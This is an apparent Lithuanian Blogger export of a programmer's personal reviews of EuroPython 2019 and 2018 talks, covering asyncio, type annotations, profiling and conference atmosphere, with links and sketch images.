<a href="https://ep2019.europython.eu/talks/ZJ7mNEK-the-soul-of-the-beast/">https://ep2019.europython.eu/talks/ZJ7mNEK-the-soul-of-the-beast/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-4KpcuRT6-xw/XXfjgmrElMI/AAAAAAAAB5c/tnXcAWZRcT0amFTLXtw3BpnTuxJPe3bNwCLcBGAs/s1600/IMG_3419.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-4KpcuRT6-xw/XXfjgmrElMI/AAAAAAAAB5c/tnXcAWZRcT0amFTLXtw3BpnTuxJPe3bNwCLcBGAs/s320/IMG_3419.png" width="259" height="320" data-original-width="1297" data-original-height="1600" /></a></div>
<br/>
Geriausias visos konferencijos pranešimas. Apie Python sintaksę ir gramatiką.
Tikrai rekomenduoju. Gaila, kad dar nėra video.
<br/>
<br/>
<h4>Software patterns for productive teams</h4>
<a href="https://ep2019.europython.eu/talks/JLPhtTB-software-patterns-for-productive-teams/">https://ep2019.europython.eu/talks/JLPhtTB-software-patterns-for-productive-teams/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-J07CohecfGI/XXfjhz-71mI/AAAAAAAAB5k/ItLH2mD1RfgYGqU3CBibhUxgIP2xEkVWgCLcBGAs/s1600/IMG_3421.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-J07CohecfGI/XXfjhz-71mI/AAAAAAAAB5k/ItLH2mD1RfgYGqU3CBibhUxgIP2xEkVWgCLcBGAs/s320/IMG_3421.png" width="284" height="320" data-original-width="1418" data-original-height="1600" /></a></div>
<br/>
Apie komandų valdymą. Neįdomu man buvo.
<br/>
<br/>
<h4>Hack The CPython</h4>
<a href="https://ep2019.europython.eu/talks/C3We3Fp-hack-the-cpython/">https://ep2019.europython.eu/talks/C3We3Fp-hack-the-cpython/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-ewG8fAPZmxw/XXfjkQJIjnI/AAAAAAAAB5o/8w6nROXEr_sjihvI8N3grXqDbtfyLQFnwCLcBGAs/s1600/IMG_3422.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-ewG8fAPZmxw/XXfjkQJIjnI/AAAAAAAAB5o/8w6nROXEr_sjihvI8N3grXqDbtfyLQFnwCLcBGAs/s320/IMG_3422.png" width="320" height="236" data-original-width="1600" data-original-height="1182" /></a></div>
<br/>
Pranešimas turėjo būti labai įdomus. Bet buvo visai nesuprantamas. Pranešėjas
labai jaudinosi ir nerišliai bet greitai burbėjo.
<br/>
<br/>
<h4>How to read (code)</h4>
<a href="https://ep2019.europython.eu/talks/3h8dSfy-how-to-read-code/">https://ep2019.europython.eu/talks/3h8dSfy-how-to-read-code/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-Lk0eNXPHMMo/XXfjlpHFmeI/AAAAAAAAB5w/4YCZvYoHA4wJL8iqCgYcAV29Ra4X3Q50QCLcBGAs/s1600/IMG_3423.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-Lk0eNXPHMMo/XXfjlpHFmeI/AAAAAAAAB5w/4YCZvYoHA4wJL8iqCgYcAV29Ra4X3Q50QCLcBGAs/s320/IMG_3423.png" width="268" height="320" data-original-width="1340" data-original-height="1600" /></a></div>
<br/>
Daugiau ne apie skaitymą, o apie tai, kaip izoliuotai paleidinėti tik dalį
kodo ir taip išsiaiškinti kaip jis veikia.
<br/>
<br/>
<h4>Google Cloud for Pythonistas</h4>
<a href="https://ep2019.europython.eu/talks/ZSVqSGX-google-cloud-for-pythonistas/">https://ep2019.europython.eu/talks/ZSVqSGX-google-cloud-for-pythonistas/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-m3nQAtkQfnE/XXfjm-EM6NI/AAAAAAAAB50/Qzp8pL32Ma4wQQslllGsKEYdbFY1F9MEACLcBGAs/s1600/IMG_3424.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-m3nQAtkQfnE/XXfjm-EM6NI/AAAAAAAAB50/Qzp8pL32Ma4wQQslllGsKEYdbFY1F9MEACLcBGAs/s320/IMG_3424.png" width="306" height="320" data-original-width="1529" data-original-height="1600" /></a></div>
<br/>
Toks pats pranešimas, kaip ir Microsoft'o pranešimas. Žodžiu, yra debesų.
<br/>
<br/>
<h4>The Story of Features Coming in Python 3.8 and Beyond</h4>
<a href="https://ep2019.europython.eu/talks/xkHBEaF-the-story-of-features-coming-in-python-38-and-beyond/">https://ep2019.europython.eu/talks/xkHBEaF-the-story-of-features-coming-in-python-38-and-beyond/</a>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-IWTaDx5dR28/XXfjoTy6RMI/AAAAAAAAB54/EU2zHvJz27A_rz5CBTukAuOUdJHo1gy7gCLcBGAs/s1600/IMG_3425.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-IWTaDx5dR28/XXfjoTy6RMI/AAAAAAAAB54/EU2zHvJz27A_rz5CBTukAuOUdJHo1gy7gCLcBGAs/s320/IMG_3425.png" width="320" height="294" data-original-width="1600" data-original-height="1470" /></a></div>
<br/>
Truputį plačiau papasakojo apie 3.8 atnaujinimus. Kai kurie labai keisti ir
anti-elegantiški.
<br/>
Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com2tag:blogger.com,1999:blog-1632656242730180910.post-38225048590064220822018-08-19T19:45:00.000+03:002018-08-19T22:24:17.084+03:00Europython 2018 apžvalga<h3>Asmeninė patirtis/Vieta</h3>
<br/>
Šįkart Europython konferencija vyko Edinburge, saulėtoje Škotijoje. Aš
Škotijoje gyvenime buvau tik 3 dienas ir per jas visas nuolat švietė saulė.
Tai aš savo empiriniais bandymais įrodžiau, kad Škotija yra saulėta.
<br/>
<br/>
Konferencija po nežinau kiek metų pertraukos grįžo prie 3-jų pranešimų dienų
formato. Man labiau patiko 5-ių dienų formatas. Tada konferencija jausdavosi
daugiau kaip kita dimensija. Nei tai atostogos. Nu gal biški ir atostogos. Bet
tikrai ne darbas ir ne biznis. Dabar jaučiasi labiau biznis.
<br/>
<br/>
Taigi tomis biznio dienomis klausiausi pranešimų, o vakarais ragaudavau
šiaudais ir dūmu dvokiantį Škotišką viskį. Nes nu konferencijos esmė vyksta po
konferencijos. Ir jeigu per konferencija jautiesi gerai išsimiegojęs, tai
turbūt praleidinėji rytinius pranešimus.
<br/>
<br/>
Čia bus mano konferencijos apžvalga, palydėta piešinukais iš mano konspektų.
<br/>
<br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-Su4hsiSxZi0/W3hRpXzCTYI/AAAAAAAABrw/cHllBFNgRAoAXr05qHzTESVMFgx1V_vXwCPcBGAYYCw/s1600/ep2018%2B-%2B4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-Su4hsiSxZi0/W3hRpXzCTYI/AAAAAAAABrw/cHllBFNgRAoAXr05qHzTESVMFgx1V_vXwCPcBGAYYCw/s320/ep2018%2B-%2B4.JPG" width="266" height="320" data-original-width="1329" data-original-height="1600" /></a></div>
<br />
<br />
<h3>Keturi aspektai</h3>
<br />
<h4>Mypy ir tipų anotacijos</h4>
<br />
Jeigu praeitų metų konferencijoje pajutau, kad Async IO ir Python 3 ateina su
visam. Tai šioje supratau kad tipų anotacijos gyvuos pitono pasaulyje. Net
nežinau, kaip jaustis šiuo klausimu. Mano nuomone, jeigu nori stiprių tipų,
tai Python yra blogas kalbos pasirinkimas. Bet industrija juda, kur jinai
juda.
<br/>
<br/>
<h4>Technologijų evangelikų invazija</h4>
<br />
Kai kurie pranešimai yra per gerai paruošti. Bet biški apie nieką. Ir labai
rišlūs (jokio įprastinio mikčiojimo). Bet paviršutiniški. Bet gražios
skaidrės. Nors programuotojų spalvų suvokimas neturėtų to prileisti.
<br/>
<br/>
Ir tada pranešėjai prisistato, kas jie tokie ir kurioje kompanijoje jie dirba.
Ir kokiose pareigose jie dirba. Tada paaiškėja, kad jie turi keistas pareigas.
Dažniausiai žinomas ir įvardijamas kaip "technologijų evangelikų".
<br/>
<br/>
Tada supranti, kad jie yra profesionalūs konferencijų draugeliai. Tai yra,
jiems mokami pinigai, kad jie būtų draugiški per konferencijas. Kad
užmezginėtų pokalbius su tikrais programuotojais. Būtų jiems malonūs ir taip
įtikintų tuos tikrus programuotojus pradėti dirbti toje kompanijoje arba
naudotis jų kompanijos tikrų programuotojų kuriamomis technologijomis. Visą
laiką. Jų toks darbas yra visam laikui.
<br/>
<br/>
Aš esu lopas programuotojas. Aš noriu bendrauti su kitais lopais
programuotojais. Autentiškais. Nu bet pranešimai tikrai gražiai išlaižyti.
<br/>
<br/>
<h4>Nulis Blockchain</h4>
<br />
Šitas apie tai ko nebuvo. O gi nebuvo blockchain'ų. Praeitais metais pranešimų
ta tema nebuvo daug. Bet visa konferencija visur pakampėse ūžė nuo tų visų
bitcoin'ų. Šįkart nieko. Nulis. Niekas nieko niekur net neužsiminė.
<br/>
<br/>
Aij, tiesa vakare prie šiaudinio viskio vieną sutikau, kuris dirba su
blockchain. Kai paklausiau, ar tiki technologija. Pasakė, kad ne, bet gerai
moka šiuo metu (nepaklausiau, bet įtariu moka tai tikrais pinigais).
<br/>
<br/>
Taigi, praeitais metais turbūt buvo galima prognozuoti blockchain technologijų
bumą (bet neprognozavau). O šiemet galima prognozuoti lėto merdėjimo pradžią.
<br/>
<br/>
<h4>Mikro servisai yra šešėlyje</h4>
<br />
Ne. Aš nesakau, kad mikro servisai miršta. Tikrai ne. Bet nebesijaučia to
užsivedimo, kuris buvo prieš metus ar dvejus.
<br/>
<br/>
Daug panašiau, kad ta ekosistema stabilizavosi. Ir dingo tas prieš tai buvęs
elitizmas. "Tavo architektūra ne mikro servisai?!!! O tu iš vis programuoti
moki?!!!".
<br/>
<br/>
Dabar tarsi kas naudoja mikro servisus, o kas nenaudoja. Bet niekas jau
nebesididžiuoja tuo. Mikro servisai įgavo fidget sukučių statusą. Namie kažkur
stalčiuje vis dar yra. Bet savininkai nežino tiksliai kuriame. Ir jeigu
žinotų, tai turbūt išmestų.
<br/>
<br/>
<h3>Perklausytos kalbos</h3>
<br />
<h4>Die Threads</h4>
<a href="https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=25m56s">https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=25m56s</a>
<br />
David Beazley (pats geriausias Python pranešėjas pasaulyje) pristatė būdą kaip
gijinis programavimas galėtų būti daug patogesnis ir paprastesnis, jeigu
prasukti jį per Async IO.
<br/>
<br/>
Realiai tai jis pristatė tą darančią biblioteką. Tik viena bėdelė. Ta
biblioteka dar nebaigta ir neaišku, ar bus baigta.
<br/>
<a href="https://github.com/dabeaz/thredo">https://github.com/dabeaz/thredo</a>
<br/>
<br/>
Labai rekomenduoju šitą pranešimą.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-9DInfMKw1SU/W3hRpyFO3UI/AAAAAAAABsE/4wdW-v-TIBEmm0KbxYRNBPx5W4VYR1j6QCPcBGAYYCw/s1600/ep2018%2B-%2B5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-9DInfMKw1SU/W3hRpyFO3UI/AAAAAAAABsE/4wdW-v-TIBEmm0KbxYRNBPx5W4VYR1j6QCPcBGAYYCw/s320/ep2018%2B-%2B5.JPG" width="279" height="320" data-original-width="1393" data-original-height="1600" /></a></div>
<br />
<h4>Asyncio in Python 3.7 and 3.8</h4>
<a href="https://www.youtube.com/watch?v=w-XECcIWnlQ&t=15m21s">https://www.youtube.com/watch?v=w-XECcIWnlQ&t=15m21s</a>
<br />
Pagrindinis Async IO programuotojas pristatė Async IO istoriją ir dabarties
(3.7) bei ateities (>3.8) naujoves.
<br/>
<br/>
Ir kažkodėl nuolat minėjo trio biblioteką. O tas "import trio" turi šansų
tapti "import asyncio" pakaitalu. Panašiai kaip "import requests" daug dažniau sutinkamas vietoje "import urllib".
<br />
<a href="https://github.com/python-trio/trio">https://github.com/python-trio/trio</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-zmQBe6F7WLc/W3hRsySWZnI/AAAAAAAABsI/d5KwnMVzBuE9LGOeO0vnTpb5Al11dk7rwCPcBGAYYCw/s1600/ep2018%2B-%2B9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-zmQBe6F7WLc/W3hRsySWZnI/AAAAAAAABsI/d5KwnMVzBuE9LGOeO0vnTpb5Al11dk7rwCPcBGAYYCw/s320/ep2018%2B-%2B9.JPG" width="320" height="240" data-original-width="1600" data-original-height="1202" /></a></div>
<br />
<h4>Postgres at any scale</h4>
<a href="https://www.youtube.com/watch?v=qRqDgJLM568&t=50m39s">https://www.youtube.com/watch?v=qRqDgJLM568&t=50m39s</a>
<br />
Įdomus pranešimas. Su daug praktinių patarimų. Vienintelė bėda, kad a nei kaip
nesusijęs su Python. Totaliai PostgreSQL.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-oe4Sv-Ejbc8/W3hRmssRlDI/AAAAAAAABsI/zxoG2diiZlEncuMTf0Vy3lBgmN9MX7FUgCPcBGAYYCw/s1600/ep2018%2B-%2B11.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-oe4Sv-Ejbc8/W3hRmssRlDI/AAAAAAAABsI/zxoG2diiZlEncuMTf0Vy3lBgmN9MX7FUgCPcBGAYYCw/s320/ep2018%2B-%2B11.JPG" width="320" height="211" data-original-width="1600" data-original-height="1054" /></a></div>
<br />
<h4>Let’s Build a Python Profiler in 25 LOC</h4>
<a href="https://www.youtube.com/watch?v=qRqDgJLM568&t=1h33m32s">https://www.youtube.com/watch?v=qRqDgJLM568&t=1h33m32s</a>
<br />
Įdomus pranešimas. Kaip pasirašyti kokį tik nori Python profiliavimo įrankį
naudojantis pačio Python įrankiais.
<a href="https://docs.python.org/3/library/sys.html#sys.setprofile">https://docs.python.org/3/library/sys.html#sys.setprofile</a><br/>
<a href="https://docs.python.org/3/library/sys.html#sys.settrace">https://docs.python.org/3/library/sys.html#sys.settrace</a><br/>
<a href="https://docs.python.org/3/library/atexit.html#module-atexit">https://docs.python.org/3/library/atexit.html#module-atexit</a><br/>
<br />
Paskutinė nuoroda nelabai susijusi. Bet čia toks kietas Python modulis, kuris
leidžia priregistruoti funkciją, kuri visada išsikviečia prieš programai
baigiant darbą.
<pre>
import atexit
atexit.register(my_callback)
</pre>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-a6cV54B_iiU/W3hRnciMYeI/AAAAAAAABsA/TeXyyqIDUgAljJ7X4ijDz7TfAvBQMTVCwCPcBGAYYCw/s1600/ep2018%2B-%2B13.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-a6cV54B_iiU/W3hRnciMYeI/AAAAAAAABsA/TeXyyqIDUgAljJ7X4ijDz7TfAvBQMTVCwCPcBGAYYCw/s320/ep2018%2B-%2B13.JPG" width="320" height="303" data-original-width="1600" data-original-height="1513" /></a></div>
<br />
<h4>Fuzzy Matching - Smart Way of Finding Similar Names Using Fuzzywuzzy</h4>
<a href="https://www.youtube.com/watch?v=XRKPOtbU6UE&t=3h27m12s">https://www.youtube.com/watch?v=XRKPOtbU6UE&t=3h27m12s</a>
<br />
Nieko gero.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-1I8OnR4v-qA/W3hRnnrmshI/AAAAAAAABsA/HE2xVnpvgLUctgRwAiYpN3rLLJU4ivBMQCPcBGAYYCw/s1600/ep2018%2B-%2B16.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-1I8OnR4v-qA/W3hRnnrmshI/AAAAAAAABsA/HE2xVnpvgLUctgRwAiYpN3rLLJU4ivBMQCPcBGAYYCw/s320/ep2018%2B-%2B16.JPG" width="170" height="320" data-original-width="850" data-original-height="1600" /></a></div>
<br />
<h4>What's new in Python 3.7</h4>
<a href="https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=5h25m19s">https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=5h25m19s</a>
<br />
Įdomi tema. Neįdomus pranešimas.
<br />
<br />
Geriau jau perskaityti šitą <a href="https://docs.python.org/3/whatsnew/3.7.html">https://docs.python.org/3/whatsnew/3.7.html</a>.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-eNPzEQzva8o/W3hRnkXXh7I/AAAAAAAABr0/O92VYm2yhiA5nKfMEICpjLqAKDfPCHErgCPcBGAYYCw/s1600/ep2018%2B-%2B21.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-eNPzEQzva8o/W3hRnkXXh7I/AAAAAAAABr0/O92VYm2yhiA5nKfMEICpjLqAKDfPCHErgCPcBGAYYCw/s320/ep2018%2B-%2B21.JPG" width="320" height="319" data-original-width="1600" data-original-height="1594" /></a></div>
<br />
<h4>Quantum Computing: a Very Gentle Glimpse into a Possible Future</h4>
<a href="https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=6h20m21s">https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=6h20m21s</a>
<br />
Įdomus pranešimas. Neturintis nieko bendra su Python. Bet įdomus.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-gurzDyO1j0c/W3hZO6ptcvI/AAAAAAAAByI/BVUoq0avI-Mi5NLmcFNOdqTU3FeLv9PNQCPcBGAYYCw/s1600/ep2018%2B-%2B23.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-gurzDyO1j0c/W3hZO6ptcvI/AAAAAAAAByI/BVUoq0avI-Mi5NLmcFNOdqTU3FeLv9PNQCPcBGAYYCw/s320/ep2018%2B-%2B23.JPG" width="320" height="282" data-original-width="1600" data-original-height="1412" /></a></div>
<br />
<h4>Python, Docker, Kubernetes, and beyond?</h4>
<a href="https://www.youtube.com/watch?v=w-XECcIWnlQ&t=5h40m44s">https://www.youtube.com/watch?v=w-XECcIWnlQ&t=5h40m44s</a>
<br />
Kam o kam aš nuėjau į šitą pranešimą. Žiauriai nuobodi tema.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-YaWsxBMn4nE/W3hRn3xWbdI/AAAAAAAABsI/F5LsbANKHOMcMeq7UNeUp0Vpn5V-w72aACPcBGAYYCw/s1600/ep2018%2B-%2B26.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-YaWsxBMn4nE/W3hRn3xWbdI/AAAAAAAABsI/F5LsbANKHOMcMeq7UNeUp0Vpn5V-w72aACPcBGAYYCw/s320/ep2018%2B-%2B26.JPG" width="320" height="169" data-original-width="1600" data-original-height="845" /></a></div>
<br />
<h4>White Mars: living far away from any form of life</h4>
<a href="https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s">https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s</a>
<br />
Realiai tai apie Antarktiką, o ne apie marsą. Čia buvo teletiltas su
Antarktika. Ir jie ten naudoja Python kai kam.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-CjCvp15larc/W3hRoJrUEQI/AAAAAAAABrw/eIazrn5aYZM2ntoQ7bu2RxUh8jY1FZDZwCPcBGAYYCw/s1600/ep2018%2B-%2B32.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-CjCvp15larc/W3hRoJrUEQI/AAAAAAAABrw/eIazrn5aYZM2ntoQ7bu2RxUh8jY1FZDZwCPcBGAYYCw/s320/ep2018%2B-%2B32.JPG" width="312" height="320" data-original-width="1558" data-original-height="1600" /></a></div>
<br />
<h4>Lightning talks</h4>
<a href="https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s">https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s</a>
<br />
Nieko įdomaus nebuvo paminėta.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-bx4gt14eF-o/W3hRorW-_CI/AAAAAAAABr8/X1Wc5yGRjLwXZz7I7EVyyCDY-91c-7rBwCPcBGAYYCw/s1600/ep2018%2B-%2B36.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-bx4gt14eF-o/W3hRorW-_CI/AAAAAAAABr8/X1Wc5yGRjLwXZz7I7EVyyCDY-91c-7rBwCPcBGAYYCw/s320/ep2018%2B-%2B36.JPG" width="291" height="320" data-original-width="1456" data-original-height="1600" /></a></div>
<br />
<h4>PyPI: Past, Present and Future</h4>
<a href="https://www.youtube.com/watch?v=Rps9lHflkCg&t=31m35s">https://www.youtube.com/watch?v=Rps9lHflkCg&t=31m35s</a>
<br />
Nežinau, ar pastebėjote, bet PyPi dabar yra nebe <a href="https://pypi.python.org/">https://pypi.python.org/</a>
adresu, o <a href="https://pypi.org/">https://pypi.org/</a>. Tai va apie tai
buvo šitas pranešimas.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-vTfct1U9_fU/W3hRot72uqI/AAAAAAAABsE/6zCA5hXeDf8tTBaQ7P4BIxf7YcR-pbjsQCPcBGAYYCw/s1600/ep2018%2B-%2B37.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-vTfct1U9_fU/W3hRot72uqI/AAAAAAAABsE/6zCA5hXeDf8tTBaQ7P4BIxf7YcR-pbjsQCPcBGAYYCw/s320/ep2018%2B-%2B37.JPG" width="320" height="319" data-original-width="1600" data-original-height="1596" /></a></div>
<br />
<h4>When to use Machine Learning: Tips, Tricks and Warnings</h4>
<a href="https://www.youtube.com/watch?v=nDY82RGU2Xk&t=16m22s">https://www.youtube.com/watch?v=nDY82RGU2Xk&t=16m22s</a>
<br />
Tokia reklaminė ML kalba. Nieko nematyto, bet parodymas, kaip paprastas žmogus
gali taip iš niekur ką nors gražaus sugeneruoti naudojant ML.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-RFcyeoj7KGc/W3hRpWGDfuI/AAAAAAAABrw/dxYVZ3AaNcIenUwv0eMxf0Cm_dzQvTezgCPcBGAYYCw/s1600/ep2018%2B-%2B41.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-RFcyeoj7KGc/W3hRpWGDfuI/AAAAAAAABrw/dxYVZ3AaNcIenUwv0eMxf0Cm_dzQvTezgCPcBGAYYCw/s320/ep2018%2B-%2B41.JPG" width="274" height="320" data-original-width="1371" data-original-height="1600" /></a></div>
<br />
<h4>EuroPython 2018 Hello to the World in 8 Web Frameworks (micro, batteries included & async)</h4>
<a href="https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h2m39s">https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h2m39s</a>
<br />
Tadam. Evangeliko kalba. 8-i "hello world" pavyzdžiai.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-kArK2k0emVk/W3hRp5y8dMI/AAAAAAAABsE/i9YlYFIXwMYDXXNzkKuejeIswt4onmR4ACPcBGAYYCw/s1600/ep2018%2B-%2B44.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-kArK2k0emVk/W3hRp5y8dMI/AAAAAAAABsE/i9YlYFIXwMYDXXNzkKuejeIswt4onmR4ACPcBGAYYCw/s320/ep2018%2B-%2B44.JPG" width="320" height="288" data-original-width="1600" data-original-height="1440" /></a></div>
<br />
<h4>Code Review Skills for Pythonistas</h4>
<a href="https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h51m33s">https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h51m33s</a>
<br />
Evangelikė papasakojo pranešimą. Šitas visai geras net nepaisant, kad
evangelikės.
<br />
<br />
Ir kažkodėl užrodė gerą įrankį rasti nebenaudojamą kodą: <a href="https://pypi.org/project/vulture/">https://pypi.org/project/vulture/</a>.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-e1g5-RKcj3I/W3hRqjut6cI/AAAAAAAABsI/fSuyOOYRmRIPc6ypMjGcRD6OnohVbtFmgCPcBGAYYCw/s1600/ep2018%2B-%2B54.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-e1g5-RKcj3I/W3hRqjut6cI/AAAAAAAABsI/fSuyOOYRmRIPc6ypMjGcRD6OnohVbtFmgCPcBGAYYCw/s320/ep2018%2B-%2B54.JPG" width="320" height="300" data-original-width="1600" data-original-height="1502" /></a></div>
<br />
<h4>Debugging Your Code with Data Visualization</h4>
<a href="https://www.youtube.com/watch?v=nDY82RGU2Xk&t=3h45m12s">https://www.youtube.com/watch?v=nDY82RGU2Xk&t=3h45m12s</a>
<br />
Parodė, kad ieškant klaidų ar šiaip aiškinantis kodo veikimo įpatumus galima
naudoti įdomesnius įrankius, o ne tik "print" funkciją.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-5aXPi5bFWlI/W3hRqgmGsqI/AAAAAAAABsI/nyNh1oILww4hH20o-K1wACpkGWhu4yr_wCPcBGAYYCw/s1600/ep2018%2B-%2B60.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-5aXPi5bFWlI/W3hRqgmGsqI/AAAAAAAABsI/nyNh1oILww4hH20o-K1wACpkGWhu4yr_wCPcBGAYYCw/s320/ep2018%2B-%2B60.JPG" width="320" height="309" data-original-width="1600" data-original-height="1543" /></a></div>
<br />
<h4>More Than You Ever Wanted To Know About Python Functions</h4>
<a href="https://www.youtube.com/watch?v=Rps9lHflkCg&t=5h48m39s">https://www.youtube.com/watch?v=Rps9lHflkCg&t=5h48m39s</a>
<br />
Turėjau į šitą nueiti, nes aprašymas skambėjo beveik tapačiai mano PyCon LT
darytam pranešimui (<a href="https://www.youtube.com/watch?v=rpSwuaniIT0&%3Ft=1h36m54s">https://www.youtube.com/watch?v=rpSwuaniIT0&%3Ft=1h36m54s</a>). Šitas paprastutis ir nieko nei sunkiai virškinamo neparodantis. Nu nes evangeliko.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-KBhgbEI64uA/W3hRraGy3CI/AAAAAAAABsI/pvihTenNc70LLCoVxFC22s6hGFakkuW3ACPcBGAYYCw/s1600/ep2018%2B-%2B63.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-KBhgbEI64uA/W3hRraGy3CI/AAAAAAAABsI/pvihTenNc70LLCoVxFC22s6hGFakkuW3ACPcBGAYYCw/s320/ep2018%2B-%2B63.JPG" width="320" height="288" data-original-width="1600" data-original-height="1439" /></a></div>
<br />
<h4>Type annotations with larger codebases</h4>
<a href="https://www.youtube.com/watch?v=QNUjpdpAOac&t=5h13m22s">https://www.youtube.com/watch?v=QNUjpdpAOac&t=5h13m22s</a>
<br />
Yelp naudoja tipų anotacijas. Šiaip pranešimas nėra bazinis, kaip galima buvo
tikėtis, o vietoje to ganėtinai įdomus. Papasakoja daugiau apkasų istorijų, o
ne "va kaip rašyti anotacijas. Ir va skaičius plius raidės, o nuostabusis
statinis tikrintojas pagauna klaidą. Vai, vai, vai.".
<br />
<br />
<a href="https://pyre-check.org/">https://pyre-check.org/</a>
<br />
<a href="http://mypy-lang.org/">http://mypy-lang.org/</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-UEECrevidm0/W3hRrcRXU2I/AAAAAAAABr4/vFX9VpnASXcfxib9PxTmM0uHFY2LTydYgCPcBGAYYCw/s1600/ep2018%2B-%2B68.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-UEECrevidm0/W3hRrcRXU2I/AAAAAAAABr4/vFX9VpnASXcfxib9PxTmM0uHFY2LTydYgCPcBGAYYCw/s320/ep2018%2B-%2B68.JPG" width="302" height="320" data-original-width="1510" data-original-height="1600" /></a></div>
<br />
<h4>Succinct data structures for python</h4>
<a href="https://www.youtube.com/watch?v=nDY82RGU2Xk&t=5h46m16s">https://www.youtube.com/watch?v=nDY82RGU2Xk&t=5h46m16s</a>
<br />
Totaliai geek'o pranešimas apie kažkokią nišinę kietą biblioteką, kurią jis
parašė. Šiaip turbūt gera ir naudinga biblioteka. Bet nuobodi sritis. Šiaip
kaip kokį unrar pristatinėti.
<br />
<br />
<a href="https://github.com/ah-/pysdsl">https://github.com/ah-/pysdsl</a>
<br />
